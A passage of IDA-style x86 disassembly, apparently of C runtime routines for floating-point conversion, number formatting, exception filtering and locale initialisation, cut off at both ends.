eax, eax jnz short loc_43501F mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_0] push eax call sub_434EE0 add esp, 8 mov [ebp+var_18], eax loc_43501F: ; CODE XREF: sub_434F90+63j ; sub_434F90+7Aj or edx, 0FFFFFFFFh mov ecx, [ebp+var_8] shl edx, cl mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4] and eax, edx mov ecx, [ebp+var_14] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_10], eax jmp short loc_43504F ; --------------------------------------------------------------------------- loc_435046: ; CODE XREF: sub_434F90+D2j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_43504F: ; CODE XREF: sub_434F90+B4j cmp [ebp+var_10], 3 jge short loc_435064 mov edx, [ebp+var_10] mov eax, [ebp+arg_0] mov dword ptr [eax+edx*4], 0 jmp short loc_435046 ; --------------------------------------------------------------------------- loc_435064: ; CODE XREF: sub_434F90+C3j mov eax, [ebp+var_18] mov esp, ebp pop ebp retn sub_434F90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435070 proc near ; CODE XREF: sub_435220+98p ; sub_435220+10Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov [ebp+var_C], 0 jmp short loc_435094 ; --------------------------------------------------------------------------- loc_43508B: ; CODE XREF: sub_435070+46j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_435094: ; CODE XREF: sub_435070+19j cmp [ebp+var_C], 3 jge short loc_4350B8 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp short loc_43508B ; --------------------------------------------------------------------------- loc_4350B8: ; CODE XREF: sub_435070+28j mov esp, ebp pop ebp retn sub_435070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4350C0 proc near ; CODE XREF: sub_435220+7Cp ; sub_435220+D5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_4350D6 ; --------------------------------------------------------------------------- loc_4350CD: ; CODE XREF: sub_4350C0+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4350D6: ; CODE XREF: sub_4350C0+Bj cmp [ebp+var_4], 3 jge short loc_4350EB mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4], 0 jmp short loc_4350CD ; --------------------------------------------------------------------------- loc_4350EB: ; CODE XREF: sub_4350C0+1Aj mov esp, ebp pop ebp retn sub_4350C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4350F0 proc near ; CODE XREF: sub_435220+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_435106 ; --------------------------------------------------------------------------- loc_4350FD: ; CODE XREF: sub_4350F0:loc_43511Cj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_435106: ; CODE XREF: sub_4350F0+Bj cmp [ebp+var_4], 3 jge short loc_43511E mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] cmp dword ptr [edx+ecx*4], 0 jz short loc_43511C xor eax, eax jmp short loc_435123 ; --------------------------------------------------------------------------- loc_43511C: ; CODE XREF: sub_4350F0+26j jmp short loc_4350FD ; --------------------------------------------------------------------------- loc_43511E: ; CODE XREF: sub_4350F0+1Aj mov eax, 1 loc_435123: ; CODE XREF: sub_4350F0+2Aj mov esp, ebp pop ebp retn sub_4350F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435130 proc near ; CODE XREF: sub_435220+11Fp ; sub_435220+148p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_18], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_435155 dec eax or eax, 0FFFFFFE0h inc eax loc_435155: ; CODE XREF: sub_435130+1Ej mov [ebp+var_4], eax or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_14], edx mov [ebp+var_8], 0 mov [ebp+var_C], 0 jmp short loc_43517E ; --------------------------------------------------------------------------- loc_435175: ; CODE XREF: sub_435130+9Fj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_43517E: ; CODE XREF: sub_435130+43j cmp [ebp+var_C], 3 jge short loc_4351D1 mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] and eax, [ebp+var_14] mov [ebp+var_10], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] or edx, [ebp+var_8] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+eax*4], edx mov ecx, 20h sub ecx, [ebp+var_4] mov edx, [ebp+var_10] shl edx, cl mov [ebp+var_8], edx jmp short loc_435175 ; --------------------------------------------------------------------------- loc_4351D1: ; CODE XREF: sub_435130+52j mov [ebp+var_C], 2 jmp short loc_4351E3 ; --------------------------------------------------------------------------- loc_4351DA: ; CODE XREF: sub_435130:loc_435215j mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax loc_4351E3: ; CODE XREF: sub_435130+A8j cmp [ebp+var_C], 0 jl short loc_435217 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_18] jl short loc_435208 mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov esi, [ebp+arg_0] mov edx, [esi+edx*4] mov [ecx+eax*4], edx jmp short loc_435215 ; --------------------------------------------------------------------------- loc_435208: ; CODE XREF: sub_435130+BFj mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4], 0 loc_435215: ; CODE XREF: sub_435130+D6j jmp short loc_4351DA ; --------------------------------------------------------------------------- loc_435217: ; CODE XREF: sub_435130+B7j pop esi mov esp, ebp pop ebp retn sub_435130 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435220 proc near ; CODE XREF: sub_435470+10p ; sub_435490+10p var_34 = dword ptr -34h var_30 = byte ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh sub ecx, 3FFFh mov [ebp+var_4], ecx mov edx, [ebp+arg_0] xor eax, eax loc_435243: ; DATA XREF: .XComp0:00452D94o ; .XComp0:004531F4o mov ax, [edx+0Ah] and eax, 8000h mov [ebp+var_20], eax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_10], eax cmp [ebp+var_4], 0FFFFC001h jnz short loc_4352B0 mov [ebp+var_8], 0 lea ecx, [ebp+var_18] push ecx call sub_4350F0 add esp, 4 test eax, eax jz short loc_435298 mov [ebp+var_1C], 0 jmp short loc_4352AB ; --------------------------------------------------------------------------- loc_435298: ; CODE XREF: sub_435220+6Dj lea edx, [ebp+var_18] push edx call sub_4350C0 add esp, 4 mov [ebp+var_1C], 2 loc_4352AB: ; CODE XREF: sub_435220+76j jmp loc_4353FC ; --------------------------------------------------------------------------- loc_4352B0: ; CODE XREF: sub_435220+56j lea eax, [ebp+var_18] push eax lea ecx, [ebp+var_30] push ecx call sub_435070 add esp, 8 mov edx, [ebp+arg_8] mov eax, [edx+8] push eax lea ecx, [ebp+var_18] push ecx call sub_434F90 add esp, 8 test eax, eax jz short loc_4352E0 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4352E0: ; CODE XREF: sub_435220+B5j mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] mov edx, [eax+4] sub edx, [ecx+8] cmp [ebp+var_4], edx jge short loc_435310 lea eax, [ebp+var_18] push eax call sub_4350C0 add esp, 4 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp loc_4353FC ; --------------------------------------------------------------------------- loc_435310: ; CODE XREF: sub_435220+CFj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] cmp edx, [ecx+4] jg short loc_435380 mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, [ebp+var_4] mov [ebp+var_34], ecx lea edx, [ebp+var_30] push edx lea eax, [ebp+var_18] push eax call sub_435070 add esp, 8 mov ecx, [ebp+var_34] push ecx lea edx, [ebp+var_18] push edx call sub_435130 loc_435344: ; DATA XREF: .XComp0:00452E18o ; .XComp0:0045327Co add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+8] push ecx lea edx, [ebp+var_18] push edx call sub_434F90 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+0Ch] add ecx, 1 push ecx lea edx, [ebp+var_18] push edx call sub_435130 add esp, 8 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp short loc_4353FC ; --------------------------------------------------------------------------- loc_435380: ; CODE XREF: sub_435220+F9j mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] cmp ecx, [eax] jl short loc_4353CB lea edx, [ebp+var_18] push edx call sub_4350C0 add esp, 4 mov eax, [ebp+var_18] or eax, 80000000h mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_435130 add esp, 8 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_8] add edx, [eax+14h] mov [ebp+var_8], edx mov [ebp+var_1C], 1 jmp short loc_4353FC ; --------------------------------------------------------------------------- loc_4353CB: ; CODE XREF: sub_435220+168j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+14h] mov [ebp+var_8], edx mov eax, [ebp+var_18] and eax, 7FFFFFFFh mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_435130 add esp, 8 mov [ebp+var_1C], 0 loc_4353FC: ; CODE XREF: sub_435220:loc_4352ABj ; sub_435220+EBj ... mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] add edx, 1 mov eax, 20h sub eax, edx mov [ebp+var_C], eax mov edx, [ebp+var_8] mov ecx, [ebp+var_C] shl edx, cl mov eax, [ebp+var_18] or eax, edx mov ecx, [ebp+var_20] neg ecx sbb ecx, ecx and ecx, 80000000h or eax, ecx mov [ebp+var_24], eax mov edx, [ebp+arg_8] cmp dword ptr [edx+10h], 40h jnz short loc_43544A mov eax, [ebp+arg_4] mov ecx, [ebp+var_24] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_14] mov [edx], eax jmp short loc_43545B ; --------------------------------------------------------------------------- loc_43544A: ; CODE XREF: sub_435220+215j mov ecx, [ebp+arg_8] cmp dword ptr [ecx+10h], 20h jnz short loc_43545B mov edx, [ebp+arg_4] mov eax, [ebp+var_24] mov [edx], eax loc_43545B: ; CODE XREF: sub_435220+228j ; sub_435220+231j mov eax, [ebp+var_1C] mov esp, ebp pop ebp retn sub_435220 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435470 proc near ; CODE XREF: sub_435570+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_452B68 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_435220 add esp, 0Ch pop ebp retn sub_435470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435490 proc near ; CODE XREF: sub_4355F0+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_452B80 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_435220 add esp, 0Ch pop ebp retn sub_435490 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4354B0 proc near ; CODE XREF: .XComp0:004355DAp ; .XComp0:0043905Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh mov word ptr [ebp+var_4], cx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_10], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_8], eax push 40h lea ecx, [ebp+var_10] push ecx call sub_434F90 add esp, 8 test eax, eax jz short loc_435527 mov [ebp+var_10], 80000000h mov dx, word ptr [ebp+var_4] add dx, 1 mov word ptr [ebp+var_4], dx loc_435527: ; CODE XREF: sub_4354B0+62j mov eax, [ebp+var_4] and eax, 0FFFFh cmp eax, 7FFFh jnz short loc_43553D mov [ebp+var_14], 1 loc_43553D: ; CODE XREF: sub_4354B0+84j mov ecx, [ebp+arg_4] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_4] and eax, 0FFFFh or edx, eax mov ecx, [ebp+arg_4] mov [ecx+8], dx mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_4354B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435570 proc near ; CODE XREF: sub_42ED90+14p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_438500 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_435470 add esp, 8 mov esp, ebp pop ebp retn sub_435570 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax lea ecx, [ebp-10h] push ecx lea edx, [ebp-0Ch] push edx call sub_438500 add esp, 1Ch mov eax, [ebp+8] push eax lea ecx, [ebp-0Ch] push ecx call sub_4354B0 add esp, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4355F0 proc near ; CODE XREF: sub_42ED90+34p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_438500 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_435490 add esp, 8 mov esp, ebp pop ebp retn sub_4355F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435630 proc near ; CODE XREF: sub_42EDE0+4Dp ; sub_42EFD0+45p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] mov [ebp+var_8], edx mov eax, [ebp+var_4] mov byte ptr [eax], 30h mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_435654: ; CODE XREF: sub_435630+69j cmp [ebp+arg_4], 0 jle short loc_43569B mov edx, [ebp+var_8] movsx eax, byte ptr [edx] test eax, eax jz short loc_435678 mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx] mov [ebp+var_C], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax jmp short loc_43567F ; --------------------------------------------------------------------------- loc_435678: ; CODE XREF: sub_435630+32j mov [ebp+var_C], 30h loc_43567F: ; CODE XREF: sub_435630+46j mov ecx, [ebp+var_4] mov dl, byte ptr [ebp+var_C] mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_435654 ; --------------------------------------------------------------------------- loc_43569B: ; CODE XREF: sub_435630+28j mov edx, [ebp+var_4] mov byte ptr [edx], 0 cmp [ebp+arg_4], 0 jl short loc_4356E4 mov eax, [ebp+var_8] movsx ecx, byte ptr [eax] cmp ecx, 35h jl short loc_4356E4 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_4356BB: ; CODE XREF: sub_435630+A5j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_4356D7 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_4356BB ; --------------------------------------------------------------------------- loc_4356D7: ; CODE XREF: sub_435630+94j mov ecx, [ebp+var_4] mov dl, [ecx] add dl, 1 mov eax, [ebp+var_4] mov [eax], dl loc_4356E4: ; CODE XREF: sub_435630+75j ; sub_435630+80j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 31h jnz short loc_435700 mov eax, [ebp+arg_8] mov ecx, [eax+4] add ecx, 1 mov edx, [ebp+arg_8] mov [edx+4], ecx jmp short loc_435726 ; --------------------------------------------------------------------------- loc_435700: ; CODE XREF: sub_435630+BDj mov eax, [ebp+arg_0] add eax, 1 push eax call sub_41EBD0 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] add ecx, 1 push ecx mov edx, [ebp+arg_0] push edx call sub_4237A0 add esp, 0Ch loc_435726: ; CODE XREF: sub_435630+CEj mov esp, ebp pop ebp retn sub_435630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435730 proc near ; CODE XREF: sub_42EDE0+1Ep ; sub_42EFD0+1Ep ... var_28 = word ptr -28h var_26 = byte ptr -26h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_4357B0 add esp, 8 lea edx, [ebp+var_28] push edx push 0 push 11h sub esp, 0Ch mov eax, esp mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_8] mov [eax+4], edx mov cx, [ebp+var_4] mov [eax+8], cx call sub_439080 add esp, 18h mov edx, [ebp+arg_8] mov [edx+8], eax movsx eax, [ebp+var_26] mov ecx, [ebp+arg_8] mov [ecx], eax movsx edx, [ebp+var_28] mov eax, [ebp+arg_8] mov [eax+4], edx lea ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_422580 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_C] mov [eax+0Ch], ecx mov eax, [ebp+arg_8] mov esp, ebp pop ebp retn sub_435730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4357B0 proc near ; CODE XREF: sub_435730+Ep var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_C], 80000000h mov word ptr [ebp+var_4], 0 mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+6] and ecx, 7FF0h sar ecx, 4 mov word ptr [ebp+var_14], cx mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+6] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_4] mov edx, [ecx+4] and edx, 0FFFFFh mov [ebp+var_8], edx mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_10], ecx mov edx, [ebp+var_14] and edx, 0FFFFh mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jz short loc_435827 cmp [ebp+var_1C], 7FFh jz short loc_43581F jmp short loc_43586A ; --------------------------------------------------------------------------- loc_43581F: ; CODE XREF: sub_4357B0+6Bj mov word ptr [ebp+var_4], 7FFFh jmp short loc_435885 ; --------------------------------------------------------------------------- loc_435827: ; CODE XREF: sub_4357B0+62j cmp [ebp+var_8], 0 jnz short loc_435854 cmp [ebp+var_10], 0 jnz short loc_435854 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov word ptr [edx+8], 0 jmp loc_43590E ; --------------------------------------------------------------------------- loc_435854: ; CODE XREF: sub_4357B0+7Bj ; sub_4357B0+81j movsx eax, word ptr [ebp+var_14] add eax, 3C01h mov word ptr [ebp+var_4], ax mov [ebp+var_C], 0 jmp short loc_435885 ; --------------------------------------------------------------------------- loc_43586A: ; CODE XREF: sub_4357B0+6Dj mov cx, word ptr [ebp+var_14] sub cx, 3FFh mov word ptr [ebp+var_14], cx movsx edx, word ptr [ebp+var_14] add edx, 3FFFh mov word ptr [ebp+var_4], dx loc_435885: ; CODE XREF: sub_4357B0+75j ; sub_4357B0+B8j mov eax, [ebp+var_8] shl eax, 0Bh mov ecx, [ebp+var_C] or ecx, eax mov edx, [ebp+var_10] shr edx, 15h or ecx, edx mov eax, [ebp+arg_0] mov [eax+4], ecx mov ecx, [ebp+var_10] shl ecx, 0Bh mov edx, [ebp+arg_0] mov [edx], ecx loc_4358A9: ; CODE XREF: sub_4357B0+142j mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 80000000h test ecx, ecx jnz short loc_4358F4 mov edx, [ebp+arg_0] mov eax, [edx+4] shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 80000000h neg edx sbb edx, edx neg edx or eax, edx mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx] shl eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov dx, word ptr [ebp+var_4] sub dx, 1 mov word ptr [ebp+var_4], dx jmp short loc_4358A9 ; --------------------------------------------------------------------------- loc_4358F4: ; CODE XREF: sub_4357B0+107j mov eax, [ebp+var_18] and eax, 0FFFFh mov ecx, [ebp+var_4] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+8], ax loc_43590E: ; CODE XREF: sub_4357B0+9Fj mov esp, ebp pop ebp retn sub_4357B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 call sub_424980 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435930 proc near ; DATA XREF: sub_435990+3o ; .XComp0:004528B0o ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] cmp dword ptr [ecx], 0E06D7363h jnz short loc_43595E mov edx, [ebp+arg_0] mov eax, [edx] cmp dword ptr [eax+10h], 3 jnz short loc_43595E mov ecx, [ebp+arg_0] mov edx, [ecx] cmp dword ptr [edx+14h], 19930520h jnz short loc_43595E call sub_42FFB0 loc_43595E: ; CODE XREF: sub_435930+Ej ; sub_435930+19j ... cmp dword_4E9434, 0 jz short loc_435985 mov eax, dword_4E9434 push eax call sub_435A30 add esp, 4 test eax, eax jz short loc_435985 mov ecx, [ebp+arg_0] push ecx call dword_4E9434 jmp short loc_435987 ; --------------------------------------------------------------------------- loc_435985: ; CODE XREF: sub_435930+35j ; sub_435930+47j xor eax, eax loc_435987: ; CODE XREF: sub_435930+53j pop ebp retn 4 sub_435930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435990 proc near ; DATA XREF: .XComp0:00441028o push ebp mov ebp, esp push offset sub_435930 nop call near ptr 2752360h mov dword_4E9434, eax pop ebp retn sub_435990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4359B0 proc near ; DATA XREF: .XComp0:00441040o push ebp mov ebp, esp mov eax, dword_4E9434 push eax nop call near ptr 2752360h pop ebp retn sub_4359B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4359D0 proc near ; CODE XREF: sub_42F3F0+9Ep ; sub_42FC00+77p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx nop call near ptr 2911A4Dh test eax, eax jz short loc_4359F4 mov [ebp+var_4], 0 loc_4359F4: ; CODE XREF: sub_4359D0+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4359D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435A00 proc near ; CODE XREF: sub_42FC00+89p ; sub_42FC00+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx nop call near ptr 29114ADh test eax, eax jz short loc_435A24 mov [ebp+var_4], 0 loc_435A24: ; CODE XREF: sub_435A00+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_435A00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435A30 proc near ; CODE XREF: sub_42FC00+1E2p ; sub_435930+3Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_0] push eax nop call near ptr 2752224h test eax, eax jz short loc_435A50 mov [ebp+var_4], 0 loc_435A50: ; CODE XREF: sub_435A30+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_435A30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435A60 proc near ; CODE XREF: sub_43001Ep push ebp mov ebp, esp push 0Ah call sub_432590 add esp, 4 push 16h call sub_432E40 add esp, 4 push 3 call sub_421820 pop ebp retn sub_435A60 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435A80 proc near ; DATA XREF: .XComp0:00452A14o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4E92F0, 0 jz loc_435B21 push 48h push offset aInittime_c ; "inittime.c" push 2 push 0ACh push 1 call sub_41F230 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_435ABC mov eax, 1 jmp loc_435B57 ; --------------------------------------------------------------------------- loc_435ABC: ; CODE XREF: sub_435A80+30j mov eax, [ebp+var_4] push eax call sub_435B60 add esp, 4 test eax, eax jz short loc_435AED mov ecx, [ebp+var_4] push ecx call sub_4360F0 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_41F970 add esp, 8 mov eax, 1 jmp short loc_435B57 ; --------------------------------------------------------------------------- loc_435AED: ; CODE XREF: sub_435A80+4Aj mov eax, [ebp+var_4] mov off_453318, eax mov ecx, dword_4E9438 push ecx call sub_4360F0 add esp, 4 push 2 mov edx, dword_4E9438 push edx call sub_41F970 add esp, 8 mov eax, [ebp+var_4] mov dword_4E9438, eax xor eax, 